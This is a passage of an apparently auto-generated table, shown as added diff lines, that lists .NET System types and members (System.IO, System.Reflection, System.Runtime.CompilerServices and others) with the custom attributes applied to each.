System.IO.Stream.<g__FinishReadAsync\|47_0>d | [CompilerGeneratedAttribute(...)] | +| System.IO.Stream.<>c | [CompilerGeneratedAttribute(...)] | +| System.IO.Stream.d__30 | [CompilerGeneratedAttribute(...)] | +| System.IO.Stream.d__60 | [CompilerGeneratedAttribute(...)] | +| System.IO.Stream.SynchronousAsyncResult.<>c | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamReader.d__64 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamReader.d__67 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamReader.d__59 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamReader.d__61 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamWriter.d__33 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamWriter.d__74 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamWriter.d__61 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamWriter.d__63 | [CompilerGeneratedAttribute(...)] | +| System.IO.StreamWriter.d__66 | [CompilerGeneratedAttribute(...)] | +| System.IO.TextReader.<>c | [CompilerGeneratedAttribute(...)] | +| System.IO.TextReader.d__20 | [CompilerGeneratedAttribute(...)] | +| System.IO.TextReader.d__14 | [CompilerGeneratedAttribute(...)] | +| System.IO.TextWriter.<g__WriteAsyncCore\|60_0>d | [CompilerGeneratedAttribute(...)] | +| System.IO.TextWriter.<g__WriteLineAsyncCore\|66_0>d | [CompilerGeneratedAttribute(...)] | +| System.IO.TextWriter.<>c | [CompilerGeneratedAttribute(...)] | +| System.Index | [IsReadOnlyAttribute(...)] | +| System.IntPtr | [IsReadOnlyAttribute(...)] | +| System.IntPtr.Zero | [IntrinsicAttribute(...)] | +| System.LazyHelper.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Lazy`1 | [DebuggerTypeProxyAttribute(...)] | +| System.LocalDataStoreSlot.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.MTAThreadAttribute | [AttributeUsageAttribute(...)] | +| System.MarshalByRefObject | [ClassInterfaceAttribute(...)] | +| System.Marvin.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.MdUtf8String | [IsReadOnlyAttribute(...)] | +| System.MemoryExtensions | [ExtensionAttribute(...)] | +| System.Memory`1 | [DebuggerTypeProxyAttribute(...)] | +| System.Memory`1 | [IsReadOnlyAttribute(...)] | +| System.MulticastDelegate | [ClassInterfaceAttribute(...)] | +| System.NonSerializedAttribute | [AttributeUsageAttribute(...)] | +| System.Nullable`1 | [NonVersionableAttribute(...)] | +| System.Number.BigInteger | [IsByRefLikeAttribute(...)] | +| System.Number.BigInteger.<_blocks>e__FixedBuffer | [CompilerGeneratedAttribute(...)] | +| System.Number.BigInteger.<_blocks>e__FixedBuffer | [UnsafeValueTypeAttribute(...)] | +| System.Number.BigInteger._blocks | [FixedBufferAttribute(...)] | +| System.Number.DiyFp | [IsByRefLikeAttribute(...)] | +| System.Number.DiyFp | [IsReadOnlyAttribute(...)] | +| System.Number.FloatingPointInfo | [IsReadOnlyAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.FloatingPointInfo.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Number.NumberBuffer | [IsByRefLikeAttribute(...)] | +| System.Numerics.Vector | [IntrinsicAttribute(...)] | +| System.Numerics.Vector`1 | [IntrinsicAttribute(...)] | +| System.ObsoleteAttribute | [AttributeUsageAttribute(...)] | +| System.ParamArrayAttribute | [AttributeUsageAttribute(...)] | +| System.ParamsArray | [IsReadOnlyAttribute(...)] | +| System.ParseFlags | [FlagsAttribute(...)] | +| System.PlatformID.MacOSX | [EditorBrowsableAttribute(...)] | +| System.PlatformID.Win32S | [EditorBrowsableAttribute(...)] | +| System.PlatformID.Win32Windows | [EditorBrowsableAttribute(...)] | +| System.PlatformID.WinCE | [EditorBrowsableAttribute(...)] | +| System.PlatformID.Xbox | [EditorBrowsableAttribute(...)] | +| System.Progress`1.ProgressChanged | [CompilerGeneratedAttribute(...)] | +| System.Random.t_threadRandom | [ThreadStaticAttribute(...)] | +| System.Range | [IsReadOnlyAttribute(...)] | +| System.Range.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Range.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.ReadOnlyMemory`1 | [DebuggerTypeProxyAttribute(...)] | +| System.ReadOnlyMemory`1 | [IsReadOnlyAttribute(...)] | +| System.ReadOnlySpan`1 | [DebuggerTypeProxyAttribute(...)] | +| System.ReadOnlySpan`1 | [IsByRefLikeAttribute(...)] | +| System.ReadOnlySpan`1 | [IsReadOnlyAttribute(...)] | +| System.ReadOnlySpan`1 | [NonVersionableAttribute(...)] | +| System.ReadOnlySpan`1.Enumerator | [IsByRefLikeAttribute(...)] | +| System.Reflection.AssemblyAlgorithmIdAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyAlgorithmIdAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyCompanyAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyCompanyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyConfigurationAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyConfigurationAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyCopyrightAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyCopyrightAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyCultureAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyCultureAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyDefaultAliasAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyDefaultAliasAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyDelaySignAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyDelaySignAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyDescriptionAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyDescriptionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyFileVersionAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyFileVersionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyFlagsAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyInformationalVersionAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyInformationalVersionAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyKeyFileAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyKeyFileAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyKeyNameAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyKeyNameAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyMetadataAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyMetadataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyMetadataAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyNameFlags | [FlagsAttribute(...)] | +| System.Reflection.AssemblyNameFormatter | [ExtensionAttribute(...)] | +| System.Reflection.AssemblyProductAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyProductAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblySignatureKeyAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblySignatureKeyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblySignatureKeyAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyTitleAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyTitleAttribute.k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyTrademarkAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyTrademarkAttribute.<Trademark>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.AssemblyVersionAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.AssemblyVersionAttribute.<Version>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Associates.Attributes | [FlagsAttribute(...)] | +| System.Reflection.BindingFlags | [FlagsAttribute(...)] | +| System.Reflection.CallingConventions | [FlagsAttribute(...)] | +| System.Reflection.ConstArray | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeCtorParameter | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeEncodedArgument | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeExtensions | [ExtensionAttribute(...)] | +| System.Reflection.CustomAttributeNamedArgument | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeNamedParameter | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeType | [IsReadOnlyAttribute(...)] | +| System.Reflection.CustomAttributeTypedArgument | [IsReadOnlyAttribute(...)] | +| System.Reflection.DefaultMemberAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.DefaultMemberAttribute.<MemberName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.AssemblyBuilderAccess | [FlagsAttribute(...)] | +| System.Reflection.Emit.DynamicResolver.SecurityControlFlags | [FlagsAttribute(...)] | +| System.Reflection.Emit.EventToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.ExceptionHandler | [IsReadOnlyAttribute(...)] | +| System.Reflection.Emit.FieldToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.Label | [IsReadOnlyAttribute(...)] | +| System.Reflection.Emit.MethodToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.OpCode | [IsReadOnlyAttribute(...)] | +| System.Reflection.Emit.ParameterToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.PropertyToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.SignatureToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.StringToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.Emit.TypeToken.<Token>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.EventAttributes | [FlagsAttribute(...)] | +| System.Reflection.ExceptionHandlingClauseOptions | [FlagsAttribute(...)] | +| System.Reflection.FieldAttributes | [FlagsAttribute(...)] | +| System.Reflection.GenericParameterAttributes | [FlagsAttribute(...)] | +| System.Reflection.INVOCATION_FLAGS | [FlagsAttribute(...)] | +| System.Reflection.IntrospectionExtensions | [ExtensionAttribute(...)] | +| System.Reflection.ManifestResourceInfo.<FileName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ManifestResourceInfo.<ReferencedAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ManifestResourceInfo.<ResourceLocation>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.MdSigCallingConvention | [FlagsAttribute(...)] | +| System.Reflection.MemberTypes | [FlagsAttribute(...)] | +| System.Reflection.Metadata.AssemblyExtensions | [ExtensionAttribute(...)] | +| System.Reflection.MetadataEnumResult.<smallResult>e__FixedBuffer | [CompilerGeneratedAttribute(...)] | +| System.Reflection.MetadataEnumResult.<smallResult>e__FixedBuffer | [UnsafeValueTypeAttribute(...)] | +| System.Reflection.MetadataEnumResult.smallResult | [FixedBufferAttribute(...)] | +| System.Reflection.MetadataImport | [IsReadOnlyAttribute(...)] | +| System.Reflection.MethodAttributes | [FlagsAttribute(...)] | +| System.Reflection.MethodSemanticsAttributes | [FlagsAttribute(...)] | +| System.Reflection.Module.<>c | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscateAssemblyAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.ObfuscateAssemblyAttribute.<AssemblyIsPrivate>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscateAssemblyAttribute.<StripAfterObfuscation>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscationAttribute | [AttributeUsageAttribute(...)] | +| System.Reflection.ObfuscationAttribute.<ApplyToMembers>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscationAttribute.<Exclude>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscationAttribute.<Feature>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ObfuscationAttribute.<StripAfterObfuscation>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.PInvokeAttributes | [FlagsAttribute(...)] | +| System.Reflection.ParameterAttributes | [FlagsAttribute(...)] | +| System.Reflection.ParameterModifier | [IsReadOnlyAttribute(...)] | +| System.Reflection.PortableExecutableKinds | [FlagsAttribute(...)] | +| System.Reflection.PropertyAttributes | [FlagsAttribute(...)] | +| System.Reflection.ReflectionTypeLoadException.<LoaderExceptions>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ReflectionTypeLoadException.<Types>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Reflection.ResourceAttributes | [FlagsAttribute(...)] | +| System.Reflection.ResourceLocation | [FlagsAttribute(...)] | +| System.Reflection.RuntimeAssembly._ModuleResolve | [CompilerGeneratedAttribute(...)] | +| System.Reflection.RuntimeReflectionExtensions | [ExtensionAttribute(...)] | +| System.Reflection.SignatureTypeExtensions | [ExtensionAttribute(...)] | +| System.Reflection.TypeAttributes | [FlagsAttribute(...)] | +| System.Reflection.TypeInfo.<GetDeclaredMethods>d__10 | [CompilerGeneratedAttribute(...)] | +| System.Reflection.TypeInfo.<get_DeclaredNestedTypes>d__22 | [CompilerGeneratedAttribute(...)] | +| System.ResolveEventArgs.<Name>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.ResolveEventArgs.<RequestingAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Resources.NeutralResourcesLanguageAttribute | [AttributeUsageAttribute(...)] | +| System.Resources.NeutralResourcesLanguageAttribute.<CultureName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Resources.NeutralResourcesLanguageAttribute.<Location>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Resources.ResourceFallbackManager.<GetEnumerator>d__5 | [CompilerGeneratedAttribute(...)] | +| System.Resources.ResourceReader.<>c | [CompilerGeneratedAttribute(...)] | +| System.Resources.ResourceReader.<>c__DisplayClass49_0`1 | [CompilerGeneratedAttribute(...)] | +| System.Resources.SatelliteContractVersionAttribute | [AttributeUsageAttribute(...)] | +| System.Resources.SatelliteContractVersionAttribute.<Version>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.AssemblyTargetedPatchBandAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.AssemblyTargetedPatchBandAttribute.<TargetedPatchBand>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.AccessedThroughPropertyAttribute.<PropertyName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.AsyncIteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.AsyncMethodBuilderAttribute.<BuilderType>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.AsyncStateMachineAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.AsyncStateMachineBox`1.StateMachine | [AllowNullAttribute(...)] | +| System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1.AsyncStateMachineBox`1.StateMachine | [MaybeNullAttribute(...)] | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CallerArgumentExpressionAttribute.<ParameterName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.CallerFilePathAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CallerLineNumberAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CallerMemberNameAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CompilationRelaxations | [FlagsAttribute(...)] | +| System.Runtime.CompilerServices.CompilationRelaxationsAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CompilationRelaxationsAttribute.<CompilationRelaxations>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.CompilerGeneratedAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.CompilerGlobalScopeAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.ConditionalWeakTable`2.<>c | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredAsyncDisposable | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredCancelableAsyncEnumerable`1.Enumerator | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredTaskAwaitable | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredTaskAwaitable.ConfiguredTaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredTaskAwaitable`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredTaskAwaitable`1.ConfiguredTaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable.ConfiguredValueTaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ConfiguredValueTaskAwaitable`1.ConfiguredValueTaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ContractHelper.InternalContractFailed | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.CustomConstantAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.DateTimeConstantAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.DecimalConstantAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.DefaultDependencyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.DefaultDependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.DependencyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.DependencyAttribute.<DependentAssembly>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.DependencyAttribute.<LoadHint>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.DisablePrivateReflectionAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.EnumeratorCancellationAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.ExtensionAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.FixedAddressValueTypeAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.FixedBufferAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.FixedBufferAttribute.<ElementType>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.FixedBufferAttribute.<Length>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.IndexerNameAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute.<AllInternalsVisible>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.InternalsVisibleToAttribute.<AssemblyName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.IntrinsicAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.IsByRefLikeAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.IsByRefLikeAttribute | [EditorBrowsableAttribute(...)] | +| System.Runtime.CompilerServices.IsReadOnlyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.IsReadOnlyAttribute | [EditorBrowsableAttribute(...)] | +| System.Runtime.CompilerServices.IteratorStateMachineAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.JitHelpers | [ExtensionAttribute(...)] | +| System.Runtime.CompilerServices.MethodImplAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.MethodImplAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.MethodImplOptions | [FlagsAttribute(...)] | +| System.Runtime.CompilerServices.NullableAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.NullableAttribute | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.NullableAttribute | [EmbeddedAttribute(...)] | +| System.Runtime.CompilerServices.NullableContextAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.NullableContextAttribute | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.NullableContextAttribute | [EmbeddedAttribute(...)] | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.NullablePublicOnlyAttribute | [EmbeddedAttribute(...)] | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.ReferenceAssemblyAttribute.<Description>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.RuntimeCompatibilityAttribute.<WrapNonExceptionThrows>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.SpecialNameAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.StateMachineAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.StateMachineAttribute.<StateMachineType>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.StringFreezingAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.StrongBox`1.Value | [MaybeNullAttribute(...)] | +| System.Runtime.CompilerServices.SuppressIldasmAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.TaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.TaskAwaiter.<>c | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.TaskAwaiter`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.TupleElementNamesAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.TypeDependencyAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.TypeForwardedFromAttribute.<AssemblyFullName>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.TypeForwardedToAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.TypeForwardedToAttribute.<Destination>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.UnsafeValueTypeAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.CompilerServices.ValueTaskAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.ValueTaskAwaiter.<>c | [CompilerGeneratedAttribute(...)] | +| System.Runtime.CompilerServices.ValueTaskAwaiter`1 | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.YieldAwaitable | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter | [IsReadOnlyAttribute(...)] | +| System.Runtime.CompilerServices.YieldAwaitable.YieldAwaiter.<>c | [CompilerGeneratedAttribute(...)] | +| System.Runtime.ConstrainedExecution.PrePrepareMethodAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<Cer>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.ConstrainedExecution.ReliabilityContractAttribute.<ConsistencyGuarantee>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.ExceptionServices.FirstChanceExceptionEventArgs.<Exception>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.ExceptionServices.HandleProcessCorruptedStateExceptionsAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.AllowReversePInvokeCallsAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.BStrWrapper.<WrappedObject>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.BestFitMappingAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.BestFitMappingAttribute.<BestFitMapping>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ClassInterfaceAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ClassInterfaceAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.CoClassAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.CoClassAttribute.<CoClass>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ComDefaultInterfaceAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ComEventInterfaceAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ComEventInterfaceAttribute.<EventProvider>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ComEventInterfaceAttribute.<SourceInterface>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ComImportAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute | [AttributeUsageAttribute(...)] | +| System.Runtime.InteropServices.ComSourceInterfacesAttribute.<Value>k__BackingField | [CompilerGeneratedAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.FUNCFLAGS | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IBindCtx | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IConnectionPoint | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IConnectionPointContainer | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IDLFLAG | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IEnumConnectionPoints | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IEnumConnections | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IEnumMoniker | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IEnumString | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IEnumVARIANT | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IMPLTYPEFLAGS | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IMoniker | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.INVOKEKIND | [FlagsAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IPersistFile | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IRunningObjectTable | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.IStream | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.ITypeComp | [InterfaceTypeAttribute(...)] | +| System.Runtime.InteropServices.ComTypes.ITypeInfo | [InterfaceTypeAttribute(...)] | +| 